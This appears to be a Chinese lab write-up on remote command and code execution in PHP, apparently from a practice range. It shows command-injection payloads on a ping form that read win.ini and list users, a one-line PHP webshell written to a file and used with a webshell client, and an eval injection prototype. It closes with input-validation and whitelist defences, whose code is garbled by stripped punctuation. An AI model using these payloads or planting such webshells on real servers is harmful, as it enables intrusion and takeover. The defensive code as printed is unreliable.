设计师网上接单的网站,企业网页界面设计,设计上海展会2021门票,物联网是干什么的用的文章目录 1. RCE1.1 exec ping1.1.1 源代码分析1.1.2 漏洞防御 1.2 exec eval1.2.1 源代码分析1.2.2 漏洞防御 1.3 RCE 漏洞防御 1. RCE
RCE(remote command/code execute)概述#xff1a;
RCE漏洞#xff0c;可以让攻击者直接向后台服务器远程注入… 文章目录 1. RCE1.1 exec ping1.1.1 源代码分析1.1.2 漏洞防御 1.2 exec eval1.2.1 源代码分析1.2.2 漏洞防御 1.3 RCE 漏洞防御 1. RCE
RCE(remote command/code execute)概述
RCE漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或者代码从而控制后台系统。
远程系统命令执行
一般出现这种漏洞是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面用户从web界面输入目标IP提交后后台会对该IP地址进行一次ping测试并返回测试结果。 如果设计者在完成该功能时没有做严格的安全控制则可能会导致攻击者通过该接口提交“意想不到”的命令从而让后台进行执行从而控制整个后台服务器。
远程代码执行
同样的道理因为需求设计后台有时候也会把用户的输入作为代码的一部分进行执行也就造成了远程代码执行漏洞。
1.1 exec “ping”
输入IP地址查看页面反应 在ip地址的后门拼接说我们自己想执行的命令
127.0.0.1 ipconfig查看win.ini文件内容
127.0.0.1 type C:\Windows\win.ini同样的可以拼接各种命令如systeminfonet user等等。
还可以写入一句话木马进行连接
127.0.0.1 | echo ?php eval($_REQUEST[777])? ../../../wuhu.php然后使用中国蚁剑进行连接即可 1.1.1 源代码分析
代码中首先$ _POST[‘ipaddress’]赋值给了$ip 然后没有经过任何处理直接就传入shell_exec()函数执行造成命令可拼接执行。 1.1.2 漏洞防御
# 漏洞防御代码
if(isset($_POST[submit]) $_POST[ipaddress]!null){$ip$_POST[ipaddress];$checkexplode(., $ip);//可以先拆分然后校验数字以范围第一位和第四位1-255中间两位0-255if(count($check) 4 ($check[0] 1 $check[0] 255) ($check[1] 0 $check[1] 255) ($check[2] 0 $check[2] 255) ctype_digit($check[3]) $check[3] 1 $check[3] 255){if(stristr(php_uname(s), windows)){$result.shell_exec(ping .$ip);}else {$result.shell_exec(ping -c 4 .$ip);}}else {// IP地址不合法die(Invalid IP address!);}
}代码解析
ctype_digit()函数来验证第四位是否是整数。count()函数来检查拆分后的数组元素数量是否为4。 构造攻击代码
127.0.0.1 ipconfig页面显示Invalid IP address!防御成功 1.2 exec “eval”
后端代码审计——PHP函数及PHP危险函数。
eval()会将符合PHP 语法规范字符串当作php代码执行。
代码示例
?php// $code phpinfo();;// echo $code;// var_dump($code);$code $_REQUEST[code];eval($code);?一句话木马原型。
在输入框输入如下内容
phpinfo();1.2.1 源代码分析
查看源码发现没有做任何校验直接将我们输入的代码传递到了eval()函数中。 1.2.2 漏洞防御
在后端代码中尽量避免使用PHP危险函数。或者使用白名单策略来对用户输入的命令做一个限制。
1.3 RCE 漏洞防御
使用白名单定义一个接受合法命令或代码输入的白名单只有在此白名单中的命令或代码才会被执行。这个做法可以限定用户只能进行指定的操作并且可以有效地防止黑客攻击。安全编码实践编写安全代码是防范RCE攻击的一个重要手段。开发者应该禁止使用eval()或exec()等不安全的函数而是使用更安全的函数来处理用户输入。输入验证当处理用户输入时必须进行必要的验证包括数据类型、格式和长度等。在校验用户输入之后再将其传递给执行命令或代码的函数。限制shell运行环境在PHP的服务器端配置文件中可以通过限制可执行文件的路径和基本环境变量来减小攻击面。